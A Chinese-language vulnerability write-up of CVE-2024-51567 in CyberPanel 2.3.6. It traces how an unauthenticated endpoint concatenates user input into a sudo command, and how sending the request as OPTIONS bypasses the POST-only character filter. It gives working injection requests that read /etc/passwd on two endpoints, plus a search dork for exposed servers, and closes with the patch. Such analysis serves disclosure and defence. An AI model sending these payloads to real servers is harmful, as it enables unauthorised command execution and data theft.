CyberPanel v2.3.6 远程命令执行(CVE-2024-51567)漏洞分析

0x01 组件介绍

项目地址:https://github.com/usmannasir/cyberpanel/tree/stable

CyberPanel 是一个基于 OpenLiteSpeed 和 LiteSpeed Enterprise Web 服务器的开源 Web 托管控制面板。

1
ZoomEye Dork:app:"Cyberpanel"

截止编写时已有 188,810 条搜索结果,遍布世界各国。

image-20241101103138307

已有大量用户被勒索。

https://github.com/usmannasir/cyberpanel/issues/1346

image-20241102085720241

0x02 环境搭建

官网地址:https://cyberpanel.net/

CyberPanel 可以直接在官网下载对应安装程序,但最好使用一个纯净的机器安装,由于 CyberPanel 对操作系统有限制,建议使用 Ubuntu(不建议使用 Docker)。安装过程中会涉及系统操作,因此需要使用 root 权限运行。

1
2
3
4
5
6
7
8
# 使用 root 模式
sudo su -
# 更新源
apt update && apt upgrade -y
# 安装依赖工具
apt install curl wget
# 启动安装程序
sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh)

选择 [1] 开源版本安装,默认账号 admin、密码 1234567。可以使用以下命令重置。

1
adminPass 123456789

输入需要安装的版本,这里选择存在漏洞的 2.3.6 版本,后续就是等待安装。

image-20241101115326830

安装完成后出现以下界面表示安装成功。

1
http://127.0.0.1:8090

image-20241101132709118

访问后台也没问题。

image-20241101133108794

0x03 漏洞分析

CyberPanel 是一个基于 Django 框架的项目,使用的是 MVT(Model - View - Template)架构模式,Model 控制数据、View 控制视图函数、Template控制模板。

漏洞触发点是 /dataBases/upgrademysqlstatus,通过视图就可以找到对应的函数。

1
2
3
4
5
6
OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1
X-CSRFToken: {{csrf_token}}
Content-Type: application/json
Referer: {{BaseURL}}

{"statusfile":"/dev/null; cat /etc/passwd; #","csrftoken":"{{csrf_token}}"}

/databases/view.py

如果仔细观察该视图函数,会发现其他视图函数均通过 request.session 从 Django 的会话中获取了用户的身份并校验。

1
2
userID = request.session['userID']
currentACL = ACLManager.loadedACL(userID)

upgrademysqlstatus 视图函数源于 2024年2月7日的 MySQL 功能优化 commit 中,由于是新增功能,忽略了鉴权。

image-20241101092829588

查看 upgrademysqlstatus 可以发现存在一个 "sudo cat " + statusfile 的命令拼接,并且,所传递的变量 statusfile 是从用户所发起请求的 Json 数据里的 statusfile 字段中获取的,说明用户对该变量完全可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

if installStatus.find("[200]") > -1:

command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)

final_json = json.dumps({
'error_message': "None",
'requestStatus': installStatus,
'abort': 1,
'installed': 1,
})
return HttpResponse(final_json)
elif installStatus.find("[404]") > -1:
command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)
final_json = json.dumps({
'abort': 1,
'installed': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)

else:
final_json = json.dumps({
'abort': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)
except KeyError:
return redirect(loadLoginPage)

将拼接的命令传入 ProcessUtilities.outputExecutioner 函数,并返回 installStatus 变量,由后续判断可知,installStatus 会返回包含 [200][404] 这样的状态信息,虽然无法确定是否有回显,但可以肯定会执行命令。

跟进至 ProcessUtilities.outputExecutioner 函数。

/plogical/processUtilities.py

函数首先通过 getpass.getuser() 获取当前用户登录名。如果为 root 且由于只传入了一个参数,便会执行 subprocess.Popen 并返回 p.communicate()[0].decode("utf-8"),即命令执行返回的结果。如果不为 root,则会返回 ProcessUtilities.sendCommand(command, user, dir)[:-1]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@staticmethod
def outputExecutioner(command, user=None, shell=None, dir=None, retRequired=None):
try:
if os.path.exists('/usr/local/CyberCP/debug'):
logging.writeToFile(command)

if getpass.getuser() == 'root':
if os.path.exists(ProcessUtilities.debugPath):
logging.writeToFile(command)

if user!=None:
if not command.startswith('sudo'):
command = f'sudo -u {user} {command}'
if shell == None or shell == True:
p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
else:
p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

if retRequired:
return 1, p.communicate()[0].decode("utf-8")
else:
return p.communicate()[0].decode("utf-8")

if type(command) == list:
command = " ".join(command)

if retRequired:
ret = ProcessUtilities.sendCommand(command, user)

exitCode = ret[len(ret) - 1]
exitCode = int(codecs.encode(exitCode.encode(), 'hex'))

if exitCode == 0:
return 1, ret[:-1]
else:
return 0, ret[:-1]
else:
return ProcessUtilities.sendCommand(command, user, dir)[:-1]
except BaseException as msg:
logging.writeToFile(str(msg) + "[outputExecutioner:188]")

查看 sendCommand 函数。

/plogical/processUtilities.py

首先通过 ProcessUtilities.setupUDSConnection 创建一个 UDS 连接,输入的命令会通过 sock.sendall(command.encode('utf-8')) 将格式化的命令通过 UDS 发送到目标进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
@staticmethod
def sendCommand(command, user=None, dir=None):
try:
ret = ProcessUtilities.setupUDSConnection()

if ret[0] == -1:
return ret[0]

if ProcessUtilities.token == "unset":
ProcessUtilities.token = os.environ.get('TOKEN')
del os.environ['TOKEN']

sock = ret[0]

if user == None:
if command.find('export') > -1:
pass
elif command.find('sudo') == -1:
command = 'sudo %s' % (command)

if os.path.exists(ProcessUtilities.debugPath):
if command.find('cat') == -1:
logging.writeToFile(ProcessUtilities.token + command)

if dir == None:
sock.sendall((ProcessUtilities.token + command).encode('utf-8'))
else:
command = '%s-d %s %s' % (ProcessUtilities.token, dir, command)
sock.sendall(command.encode('utf-8'))
else:
if command.startswith('sudo'):
command = command.replace('sudo', '', 1) # Replace 'sudo' with an empty string, only once

if dir == None:
command = '%s-u %s %s' % (ProcessUtilities.token, user, command)
else:
command = '%s-u %s -d %s %s' % (ProcessUtilities.token, user, dir, command)


if os.path.exists(ProcessUtilities.debugPath):
if command.find('cat') == -1:
logging.writeToFile(command)

sock.sendall(command.encode('utf-8'))

data = ""

while (1):
currentData = sock.recv(32)
if len(currentData) == 0 or currentData == None:
break
try:
data = data + currentData.decode(errors = 'ignore')
except BaseException as msg:
logging.writeToFile('Some data could not be decoded to str, error message: %s' % str(msg))

sock.close()
#logging.writeToFile('Final data: %s.' % (str(data)))

return data
except BaseException as msg:
logging.writeToFile(str(msg) + " [hey:sendCommand]")
return "0" + str(msg)

因此目前看来,只要通过 /dataBases/upgrademysqlstatus 路由并传入恶意的 Json 就可以成功执行命令,由于执行命令的返回结果并不会包含 [200][404] 标识符,因此会在响应体的 requestStatus 字段中看到命令执行的回显结果。

1
{'abort': 0,'error_message': "None",'requestStatus': installStatus,}

因此可以使用命令注入的方式截断,尝试读取 /etc/passwd 文件,由于页面强行验证 CSRFTokenReferer,所以可以先请求一次获取 CSRFToken

请求如下

1
2
3
4
5
6
7
POST /dataBases/upgrademysqlstatus HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json
X-CSRFToken: vSBckL7UPg8TED3jxfAmhRqkLRQk4bsP
Referer: https://127.0.0.1:8090/

{"statusfile":"/dev/null; cat /etc/passwd; #","csrftoken":"vSBckL7UPg8TED3jxfAmhRqkLRQk4bsP"}

image-20241101134315062

可以发现,在命令执行的过程中被拦截了,由提示信息以下字符被过滤了,应该是存在一层过滤机制来阻止恶意字符。全局搜索 Data supplied is not accepted 关键词,找到对应文件继续跟进。

/CyberCP/secMiddleware.py

secMiddleware.py 为 CyberPanel 的安全中间件,会进行多种安全验证,其中也包括对敏感符号的过滤,若在 POST 请求的 Json 里发现了以下字符则会过滤并返回错误。

1
` $ & ( ) [ ] { } ; : ‘ < >`

image-20241101135051830

此处的字符校验非常严格,但只有请求类型为 POST 的时候才会做字符检查。

1
if request.method == 'POST':

查看最开始的 upgrademysqlstatus 函数,是通过 request.body 来获取 Json 数据的。

1
2
3
4
5
6
7
8
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)
...
except KeyError:
return redirect(loadLoginPage)

因此只要在不使用 POST 的 Method 的情况下,将 Json 数据传入就可以绕过检查。

编写一个简单的案例来还原这个场景:当访问 http://127.0.0.1:8000/admin 的时候会调用 test 视图函数,如果 Method 是 POST,则进入 check 函数检查恶意字符,若未检测出返回 request.body,否则不检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from django.http import HttpResponse
import json


def check(request):
data = json.loads(request.body.decode('utf-8'))
if ';' in json.dumps(data):
return False
return True


def test(request):
if request.method == 'POST':
if check(request):
json.loads(request.body.decode('utf-8'))
return HttpResponse(f"Successful:{request.body}")
else:
return HttpResponse("Malicious characters exist")
else:
return HttpResponse(f"Successful:{request.body}")

输入恶意 Payload 则会被检测出。

1
2
3
4
5
POST /admin HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000

{"statusfile":"/dev/null; cat /etc/passwd; #"}

image-20241101142101166

但不使用 POST 方式,request.body 仍然可以被获取。

1
2
3
4
5
OPTIONS /admin HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000

{"statusfile":"/dev/null; cat /etc/passwd; #"}

image-20241101142204039

因此可以得出,request.body 并不受 Method 的限制,upgrademysqlstatus 中使用非 POST 的方式,其 statusfile 仍然可以被获取,且不会经过恶意字符检测。成功绕过了限制。

django/http/request.py

Django 的源码中也可以看出无论请求类型是什么,都会发送原始的 HTTP 请求体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@property
def body(self):
if not hasattr(self, "_body"):
if self._read_started:
raise RawPostDataException(
"You cannot access body after reading from request's data stream"
)

# Limit the maximum request data size that will be handled in-memory.
if (
settings.DATA_UPLOAD_MAX_MEMORY_SIZE is not None
and int(self.META.get("CONTENT_LENGTH") or 0)
> settings.DATA_UPLOAD_MAX_MEMORY_SIZE
):
raise RequestDataTooBig(
"Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE."
)

try:
self._body = self.read()
except OSError as e:
raise UnreadablePostError(*e.args) from e
finally:
self._stream.close()
self._stream = BytesIO(self._body)
return self._body

更换 Method 为 OPTIONS,即可成功执行命令。

1
2
3
4
5
6
7
OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json
X-CSRFToken: iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6
Referer: https://127.0.0.1:8090/

{"statusfile":"/dev/null; cat /etc/passwd; #","csrftoken":"iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6"}

image-20241101142553701

该漏洞产生的本质原因是鉴权不到位和安全中间件检查的遗漏,忽略了 Django 中 request.body 是直接获取原始的 HTTP 请求体,而不受 Method 的限制,同样可以被成功传入路由函数,

同样逻辑的功能点肯定也不止一处,这对于还未升级,但屏蔽了相关路径的用户格外有用。

例如这个在 /ftp/views.py 中的 getresetstatus 函数,几乎是同样的逻辑。

image-20241101144011901

同样可以执行命令,除此之外还有 /dns/getresetstatus 也有相关功能。

1
2
3
4
5
6
7
OPTIONS /ftp/getresetstatus HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json
X-CSRFToken: iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6
Referer: https://127.0.0.1:8090/

{"statusfile":"/dev/null; cat /etc/passwd; #","csrftoken":"iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6"}

image-20241101144217399

0x04 漏洞修复

漏洞修复非常的简单粗暴,对相关接口添加了鉴权处理,只有管理员才有权限访问。

https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515

https://github.com/usmannasir/cyberpanel/commit/1c0c6cbcf71abe573da0b5fddfb9603e7477f683

image-20241101145701544

不过这相当于从一个前台漏洞变成了一个后台漏洞?也可能只是临时措施。

0x05 参考链接